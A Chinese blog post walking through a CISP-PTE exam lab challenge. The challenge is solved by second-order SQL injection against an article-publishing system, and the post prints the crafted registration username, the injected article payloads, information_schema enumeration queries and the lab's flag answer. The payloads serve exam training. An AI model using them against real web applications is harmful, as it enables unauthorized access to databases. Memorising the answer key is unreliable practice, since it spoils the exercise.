CISP-PTE之SQL注入(二次注入的应用)

CISP-PTE实操题之SQL注入

文章目录

  • CISP-PTE实操题之SQL注入
  • 前言
  • 一、实操题之SQL注入
  • 二、解题步骤及方法
    • 1.寻找解题出思路
    • 2.执行SQL注入语句
  • 总结

前言

很久没有给大家发文章了,因为最近在准备CISP-PTE的考试,所以在加紧时间练习中,最近发现实操题中SQL注入又很经典的二次注入的题型,想给大家分享一下做题的方法。

一、实操题之SQL注入

因为这道SQL注入题比较麻烦,讲解比较麻烦,就先用一篇文章专门写这道SQL注入题,后期会更新新的题型讲解。

二、解题步骤及方法

1.寻找解题出思路

CISP-PTE之SQL注入(二次注入的应用)_第1张图片
从题意中我们可以看出,答案就在我们的数据库里,只需要寻找突破点,注入语句,就可以获取答案了。我们点击进去看看。
CISP-PTE之SQL注入(二次注入的应用)_第2张图片
发现是一个文章发表系统。我们尝试登录 一下,用弱口令试一下
CISP-PTE之SQL注入(二次注入的应用)_第3张图片
CISP-PTE之SQL注入(二次注入的应用)_第4张图片
登入失败,只能注册看一下了
CISP-PTE之SQL注入(二次注入的应用)_第5张图片
注册了一个hao,123的用户,发现可以进行注册
CISP-PTE之SQL注入(二次注入的应用)_第6张图片
进去后,看到之前发表的文章,现在尝试发表一下文章,看看是否有注入点
CISP-PTE之SQL注入(二次注入的应用)_第7张图片
填入数据后,成功插入
CISP-PTE之SQL注入(二次注入的应用)_第8张图片
我们插入一个乱码和符号看看
CISP-PTE之SQL注入(二次注入的应用)_第9张图片
当我们插入单引号和注释符的时候,出现报错,说明存在注入点,接下来开始插入SQL语句进行注入。

2.执行SQL注入语句

这时我们就要看用什么注入方法才好呢,通过看题干发现,过滤了’–'和#号,且无法进行直接填入,提交后也无法显示数据库信息,这时我们就会想到二次注入的方法,进行注入SQL查询语句,二次注入的原理和方法在前面的渗透测试专栏已经讲解过了,大家可以回头看看。
(1)首先注册两个账号,以我的示例就是hao,*/‘hao’)#,密码都是123
原理是这样,如下图:

利用二次注入以及注入半闭合完成注入,先在*/’1234ewq’);#浏览器插入文章内容,poc依次如下
AAA’,(select database()),/*

AAA’,(select group_concat(table_name) from information_schema.tables where table_schema like 0x32776562),/*

AAA’,(select group_concat(column_name) from information_schema.columns where table_schema like 0x32776562 and table_name like 0x61727469636C6531 ),/*

AAA’,(select group_concat(content) from (select * from article1 limit 0,1)as a ),/*
CISP-PTE之SQL注入(二次注入的应用)_第10张图片
返回正常用户1234ewq
CISP-PTE之SQL注入(二次注入的应用)_第11张图片
这里解答一下,利用//来注释多余的引号,致使我们插入的select语句能够显示出来,其次由于二次注入用户*/’1234ewq’);#最后插入至表中的用户名实际为 1234ewq 所以需要在正常用户去查看
让我们看一下效果吧
CISP-PTE之SQL注入(二次注入的应用)_第12张图片
利用难度:
首先屏蔽注释符#、–,但是在注册的时候并没有屏蔽注释符,由于mysql特性,/
/里面的内容会被注释掉,且insert into 表名 value() 方法需要对字段一一填充,也就是说多一个字段不行,少一个字段也不行;且只有2/3字段才能显示出来,故先注册一个二次注入用户名,而后再插入语句中借助二次注入用户名进行特殊闭环,形成
insert article1 value(’’,‘AAA’,(select database()),/’,’’,’/ ‘1234ewq’);#’)
这样插入至数据库则会变成这样
insert article1 value(’’,‘AAA’,(select database()), ‘1234ewq’)
其次就是插入后进行字段查询,由于article1 表出现相同表名会导致数据库死循环,报错,故需要进行as别名,且若是不加入limit语句进行限制,则会无法导出任何内容,limit任意值皆可

以上是网上的详细的解答方法,就是帮助大家理解,我来讲解一下我的方法
先登录*/‘hao’)#账号,这样注册的账号原理,上面已经讲的很清楚了,就是为了注释掉前面和后面的引号和逗号
(2)我们登录进去进行发表文章,接下来就是进行提交SQL语句了,因为这里提交是看不到的,实际上是提交到hao的账号里去了
(3)SQL手工注入方法
select schema_name from information_schema.schemata(查库)
select table_name from information_schema.tables where table_schema=库名(查表)
select column_name from information_schema.columns where table_name=表名(查列)
select 列名 from 库名.表名(查数据)

先查看有哪些库
CISP-PTE之SQL注入(二次注入的应用)_第13张图片
插入成功
CISP-PTE之SQL注入(二次注入的应用)_第14张图片
再看看库有哪些表
CISP-PTE之SQL注入(二次注入的应用)_第15张图片
插入成功
CISP-PTE之SQL注入(二次注入的应用)_第16张图片
这时,我们通过插入的结果可以看出插入的是article1表
在这里插入图片描述
接下来看看表中有哪些字段
CISP-PTE之SQL注入(二次注入的应用)_第17张图片
CISP-PTE之SQL注入(二次注入的应用)_第18张图片
表中都有这些字段,这时答案最有可能的是出现在title和content上,所以我们开始查数据,将数据全部输出来
CISP-PTE之SQL注入(二次注入的应用)_第19张图片
CISP-PTE之SQL注入(二次注入的应用)_第20张图片
我们可以看到答案就在content字段里,且并不是第一行,而是随机的一行里,所以要多限制几行数据。
答案就是:key1:u9y8tr4n

总结

这道SQL注入题就解析到这里了,希望大家可以好好看看解题思路和二次注入的方法。下次会更新新的CISP-PTE实操题给大家。

你可能感兴趣的:(CISP-PTE实操练习,安全性测试,web安全,安全)